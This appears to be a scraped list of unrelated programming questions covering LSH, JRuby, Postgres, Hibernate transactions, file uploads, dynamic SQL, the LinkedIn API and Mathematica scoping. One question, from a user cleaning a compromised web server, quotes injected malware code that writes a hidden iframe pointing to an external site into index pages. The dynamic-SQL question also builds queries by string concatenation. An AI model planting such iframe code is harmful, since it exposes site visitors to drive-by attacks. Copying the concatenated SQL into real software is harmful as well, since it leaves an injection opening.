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  • Question on multi-probe Local Sensitive Hashing

    - by Yijinsei
    Hey guys sorry to be asking this kind noob question, but because I really need some guidance on how to use Multi probe LSH pretty urgently, so I did not do much research myself. I realize there is a lib call LSHKIT available that implemented that algorithm, but I have trouble trying to figure out how to use it. Right now, I have a few thousand feature vector 296 dimension, each representing an image. The vector is used to query an user input image, to retrieve the most similar image. The method I used to derive the distance between vector is euclidean distance. I know this might be a rather noob question, but do you guys have knowledge on how should i implement multi probe LSH? I am really very grateful to any answer or response.

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  • jruby rubygems update breaks jgem

    - by brad
    Has anyone seen this: ?? No jgem command works at all?? Though jruby -S gem list does work. I'm using jruby 1.3.1 and Sun Java6 jre root@test:/usr/local: jgem --version 1.3.3 root@test:/usr/local: jgem update --system JRuby limited openssl loaded. gem install jruby-openssl for full support. http://wiki.jruby.org/wiki/JRuby_Builtin_OpenSSL Updating RubyGems Updating rubygems-update Successfully installed rubygems-update-1.3.6 /usr/local/jruby/lib/ruby/site_ruby/1.8/rubygems/commands/update_command.rb:103:Warning: Gem::SourceIndex#search support for String patterns is deprecated Updating RubyGems to 1.3.6 Installing RubyGems 1.3.6 RubyGems 1.3.6 installed root@test:/usr/local: jgem list /usr/local/jruby/bin/jgem: line 8: require: command not found /usr/local/jruby/bin/jgem: line 9: require: command not found /usr/local/jruby/bin/jgem: line 10: require: command not found /usr/local/jruby/bin/jgem: line 12: required_version: command not found /usr/local/jruby/bin/jgem: line 14: unless: command not found /usr/local/jruby/bin/jgem: line 15: abort: command not found /usr/local/jruby/bin/jgem: line 16: end: command not found /usr/local/jruby/bin/jgem: line 18: args: command not found /usr/local/jruby/bin/jgem: line 20: begin: command not found /usr/local/jruby/bin/jgem: line 21: Gem::GemRunner.new.run: command not found /usr/local/jruby/bin/jgem: line 22: rescue: command not found /usr/local/jruby/bin/jgem: line 23: exit: e.exit_code: numeric argument required

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  • Completely remove Postgres on Mac OSX Lion

    - by Nai
    I'm trying to get postgis running on my machine. Running brew install postgis seems to have installed postgres 9.2.1 on to my machine. I would like to remove my previous version 9.1.2 to keep my environment clean. Running brew uninstall postgres removes 9.2.1. What's the best way to do this? UPDATE nai@nyc ~ $ brew versions postgresql 9.2.1 git checkout ed92469 /usr/local/Library/Formula/postgresql.rb 9.2.0 git checkout 2f6cbc6 /usr/local/Library/Formula/postgresql.rb 9.1.5 git checkout 6b8d25f /usr/local/Library/Formula/postgresql.rb 9.1.4 git checkout c40c7bf /usr/local/Library/Formula/postgresql.rb 9.1.3 git checkout 05c7954 /usr/local/Library/Formula/postgresql.rb 9.1.2 git checkout dfcc838 /usr/local/Library/Formula/postgresql.rb 9.1.1 git checkout 4ef8fb0 /usr/local/Library/Formula/postgresql.rb 9.0.4 git checkout 2accac4 /usr/local/Library/Formula/postgresql.rb 9.0.3 git checkout b782d9d /usr/local/Library/Formula/postgresql.rb 9.0.2 git checkout 2c3b88a /usr/local/Library/Formula/postgresql.rb 9.0.1 git checkout b7fab6c /usr/local/Library/Formula/postgresql.rb 9.0.0 git checkout 1168d8f /usr/local/Library/Formula/postgresql.rb 8.4.4 git checkout c32bea0 /usr/local/Library/Formula/postgresql.rb 8.4.3 git checkout 237d1c5 /usr/local/Library/Formula/postgresql.rb

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  • "Local transaction already has 1 non-XA Resource: cannot add more resources" error

    - by jthg
    After reading previous questions about this error, it seems like all of them conclude that you need to enable XA on all of the data sources. But: What if I don't want a distributed transaction? What would I do if I want to start transactions on two different databases at the same time, but commit the transaction on one database and roll back the transaction on the other? I'm wondering how my code actually initiated a distributed transaction. It looks to me like I'm starting completely separate transactions on each of the databases. Info about the application: The application is an EJB running on a Sun Java Application Server 9.1 I use something like the following spring context to set up the hibernate session factories: <bean id="dbADatasource" class="org.springframework.jndi.JndiObjectFactoryBean"> <property name="jndiName" value="jdbc/dbA"/> </bean> <bean id="dbASessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean"> <property name="dataSource" ref="dbADatasource" /> <property name="hibernateProperties"> [hibernate properties...] </property> <property name="mappingResources"> [mapping resources...] </property> </bean> <bean id="dbBDatasource" class="org.springframework.jndi.JndiObjectFactoryBean"> <property name="jndiName" value="jdbc/dbB"/> </bean> <bean id="dbBSessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean"> <property name="dataSource" ref="dbBDatasource" /> <property name="hibernateProperties"> [hibernate properties...] </property> <property name="mappingResources"> [mapping resources...] </property> </bean> Both of the JNDI resources are javax.sql.ConnectionPoolDatasoure's. They actually both point to the same connection pool, but we have two different JNDI resources because there's the possibility that the two groups of tables will move to different databases in the future. Then in code, I do: sessionA = dbASessionFactory.openSession(); sessionB = dbBSessionFactory.openSession(); sessionA.beginTransaction(); sessionB.beginTransaction(); The sessionB.beginTransaction() line produces the error in the title of this post - sometimes. I ran the app on two different sun application servers. On one runs it fine, the other throws the error. I don't see any difference in how the two servers are configured although they do connect to different, but equivalent databases. So the question is Why doesn't the above code start completely independent transactions? How can I force it to start independent transactions rather than a distributed transaction? What configuration could cause the difference in behavior between the two application servers? Thanks.

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  • C# ASP.NET FILE TRANSFER FROM LOCAL MACHINE TO ANOTHER MACHINE

    - by Imcl
    I basically want to transfer a file from the client to the file storage server without actual login to the server so that the client cannot access the storage location on the server directly. I can do this only if i manually login to the storage server through windows login. I dont want to do that. This is a Web-Based Application. Using the link below, I wrote a code for my application. I am not able to get it right though, Please refer the link and help me ot with it... http://stackoverflow.com/questions/263518/c-uploading-files-to-file-server The following is my code:- protected void Button1_Click(object sender, EventArgs e) { filePath = FileUpload1.FileName; try { WebClient client = new WebClient(); NetworkCredential nc = new NetworkCredential(uName, password); Uri addy = new Uri("\\\\192.168.1.3\\upload\\"); client.Credentials = nc; byte[] arrReturn = client.UploadFile(addy, filePath); Console.WriteLine(arrReturn.ToString()); } catch (Exception ex) { Console.WriteLine(ex.Message); } } The following line doesn't execute... byte[] arrReturn = client.UploadFile(addy, filePath); THIS IS THE ERROR I GET :- "An exception occurred during a WebClient request"

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  • Explaining verity index and document search limits

    - by Ahmad
    As present, we currently have a CF8 standard edition server which have some limitations around verity indexing. According to Adobe Verity Server has the following document search limits (limits are for all collections registered to Verity Server): - 10,000 documents for ColdFusion Developer Edition - 125,000 documents for ColdFusion Standard Edition - 250,000 documents for ColdFusion Enterprise Edition We have now reached a stage where the server wide number of documents indexed exceed 125k. However, the largest verity collection consists of about 25k documents(and this is expected to grow). Only one collection is ever searched at a time. In my understanding, this means that I can still search an entire collection with no restrictions. Is this correct? Or does it mean that only documents that were indexed across all collection prior to reaching the limit are actually searchable? We are considering moving to CF9 standard as a solution to this and to use the Solr solution which has no restrictions. The coldfusionjedi highlights some differences between Verity and Solr. However, before we upgrade I am trying to gain a clearer understanding of this before we commit to an upgrade. Can someone provide me a clear explanation as to what this means and how it actually affects verity searching and indexing?

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  • Creating stored procedure having different WHERE clause on different search criteria without putting

    - by Muhammad Kashif Nadeem
    Is there any alternate way to create stored procedure without putting all query in one long string if criteria of WWHERE clause can be different. Suppose I have Orders table I want to create stored procedure on this table and there are three column on which I wnat to filter records. 1- CustomerId, 2- SupplierId, 3- ProductId. If user only give CustomerId in search criteria then query should be like following SELECT * FROM Orders WHERE Orders.CustomerId = @customerId And if user only give ProductId in search criteria then query should be like following SELECT * FROM Orders WHERE Orders.ProductId = @productId And if user only all three CustomerId, ProductId, and SupplierId is given then all three Ids will be used in WHERE to filter. There is also chance that user don't want to filter record then query should be like following SELCT * FROM Orders Whenever I have to create this kind of procedure I put all this in string and use IF conditions to check if arguments (@customeId or @supplierId etc) has values. I use following method to create procedure DECLARE @query VARCHAR(MAX) DECLARE @queryWhere VARCHAR(MAX) SET @query = @query + 'SELECT * FROM Orders ' IF (@originationNumber IS NOT NULL) BEGIN BEGIN SET @queryWhere =@queryWhere + ' Orders.CustomerId = ' + CONVERT(VARCHAR(100),@customerId) END END IF(@queryWhere <> '') BEGIN SET @query = @query+' WHERE ' + @queryWhere END EXEC (@query) Thanks.

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  • Scribe-LinkedIn Search API

    - by Rupeshit
    Hi folks, I want to fetch data from the LinkedIn API for that I am using the Scribe library.All requests are giving me data as expected but when I tried two facet in the url then scribe is not able to get data from LinkedIn API. If I gave this URL : http://api.linkedin.com/v1/people-search?facets=location,network&facet=location,in:0 then it gives me proper result but if I entered this URL: http://api.linkedin.com/v1/people-search?facets=location,network&facet=location,in:0&facet=network,F i.e. URL containing multiple facets then it gives me this output: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <error> <status>401</status> <timestamp>1292487039516</timestamp> <error-code>0</error-code> <message> [unauthorized].OAU:CiEgwWDkA5BFpNrc0RfGyVuSlOh4tig5kOTZ9q97qcXNrFl7zqk- Ts7DqRGaKDCV|94f13544-9844-41eb-9d53-8fe36535bbc3|*01|*01:1292487039:VseHXaJXM2gerxJyn6kHhIka7zw=</message> </error> Any kind of help to solve this will be appreciated.Thanks.

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  • Search for index.php and index.html and replace string

    - by Jonas
    Hello. I recently had some sort of Malware on my computer that added to all index.php and index.html ON THE WEBSERVER! the following string(s): echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; So the parameter after "click=" always changes. These two were only examples. Is there a way to do that quick and fast? . . EDIT: It is on my webserver, so no use of find...

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  • Lexical and dynamic scoping in Mathematica: Local variables with Module, With, and Block

    - by dreeves
    The following code returns 14 as you'd expect: Block[{expr}, expr = 2 z; f[z_] = expr; f[7]] But if you change that Block to a Module then it returns 2*z. It seems to not matter what other variables besides expr you localize. I thought I understood Module, Block, and With in Mathematica but I can't explain the difference in behavior between Module and Block in this example. Related resources: Tutorial on Modularity and the Naming of Things from the Mathematica documentation Excerpt from a book by Paul R. Wellin, Richard J. Gaylord, and Samuel N. Kamin Explanation from Dave Withoff on the Mathematica newsgroup

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  • php scandir --> search for files/directories

    - by Peter
    Hi! I searched before I ask, without lucky.. I looking for a simple script for myself, which I can search for files/folders. Found this code snippet in the php manual (I think I need this), but it is not work for me. "Was looking for a simple way to search for a file/directory using a mask. Here is such a function. By default, this function will keep in memory the scandir() result, to avoid scaning multiple time for the same directory." <?php function sdir( $path='.', $mask='*', $nocache=0 ){ static $dir = array(); // cache result in memory if ( !isset($dir[$path]) || $nocache) { $dir[$path] = scandir($path); } foreach ($dir[$path] as $i=>$entry) { if ($entry!='.' && $entry!='..' && fnmatch($mask, $entry) ) { $sdir[] = $entry; } } return ($sdir); } ?> Thank you for any help, Peter

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  • Content search through source code in finder

    - by gf
    I am using OSX 10.6 and want to have content searches in finder for the source code types i use. This suggests a (10.4 only?) solution, but although i have the developer tools installed i don't have /Library/Spotlight/SourceCode.mdimporter. Is there a different procedure for Snow Leopard or did i miss something?

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  • Make sure <a href="local file"> is opened outside of browser

    - by Heinzi
    For an Intranet web application (document management), I want to show a list of files associated with a certain customer. The resulting HTML is like this: <a href="file:///server/share/dir/somefile.docx">somefile.docx</a> <a href="file:///server/share/dir/someotherfile.pdf">somefile.pdf</a> <a href="file:///server/share/dir/yetanotherfile.txt">yetanotherfile.txt</a> This works fine. Unfortunetly, when clicking on a text file (or image file), Internet Explorer (and I guess most other browsers as well) insist on showing it in the browser instead of opening the file with the associated application (e.g. Notepad). In our case, this is undesired behavior, since it does not allow the user to edit the file. Is there some workaround to this behavior (e.g. something like <a href="file:///..." open="external">)? I'm aware that this is a browser-specific thing, and an IE-only solution would be fine (it's an Intranet application after all).

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  • Memory assignment of local variables

    - by Mask
    void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } We must remember that memory can only be addressed in multiples of the word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words) of memory. That is why SP is being subtracted by 20. Why it's not ceil((5+10)/4)*4=16?

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  • How do I choose files from the local filesystem in Windows Phone 7

    - by Kris Erickson
    I'm trying to choose some files to upload in Windows Phone 7 (in the emulator), and any attempt to ShowDialog of the OpenFileDialog leads to a Security Exception. The open file dialog is being called from an event on a button click but I get a SecurityException [FileDialog_ActiveScripting] Arguments: Debugging resource strings are unavailable. Often the key and arguments provide sufficient information to diagnose the problem. See http://go.microsoft.com/fwlink/?linkid=106663&Version=3.0.40806.0&File=System.Windows.dll&Key=FileDialog_ActiveScripting Looking up the SecurityException in the Silverlight version of OpenFileDialog.ShowDialog states that the error is: Active Scripting in Internet Explorer is disabled. -or- The call to the ShowDialog method was not made from user-initiated code. Anyone had any luck with the OpenFileDialog and ShowDialog in Windows Phone 7?

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  • moving audio over a local network using GStreamer

    - by James Turner
    I need to move realtime audio between two Linux machines, which are both running custom software (of mine) which builds on top of Gstreamer. (The software already has other communication between the machines, over a separate TCP-based protocol - I mention this in case having reliable out-of-band data makes a difference to the solution). The audio input will be a microphone / line-in on the sending machine, and normal audio output as the sink on the destination; alsasrc and alsasink are the most likely, though for testing I have been using the audiotestsrc instead of a real microphone. GStreamer offers a multitude of ways to move data round over networks - RTP, RTSP, GDP payloading, UDP and TCP servers, clients and sockets, and so on. There's also many examples on the web of streaming both audio and video - but none of them seem to work for me, in practice; either the destination pipeline fails to negotiate caps, or I hear a single packet and then the pipeline stalls, or the destination pipeline bails out immediately with no data available. In all cases, I'm testing on the command-line just gst-launch. No compression of the audio data is required - raw audio, or trivial WAV, uLaw or aLaw encoding is fine; what's more important is low-ish latency.

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  • Optimising local image loading/rendering on iPhone

    - by Tricky
    Hi, I'm looking to create an interface where the user can navigate through large volumes of images. Each image has a thumbnail of 128x128 that I wish to display and will be kind of similar to coverflow in operation. I have this all working in principle but am becoming stuck when navigating through content at speed. The interface begins to stutter and becoming jerky. I believe this is primarily because of disk i/o and the cost of rendering each image. Is there anyway this can be handed over to a seperate thread simply? Defaulting to a greyed out thumbnail until the image has loaded? How have Apple managed to achieve this in coverflow? Many thanks,

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  • Biztalk - local variable in expression shape

    - by Jeremy Stein
    Sometimes when I'm writing XLANG/s code in an expression shape, it would be more readable if I could just use a temporary variable within the scope of that one code block. I hate to clutter up the entire orchestration with a variable declaration. Is there a way to declare a variable within an expression shape?

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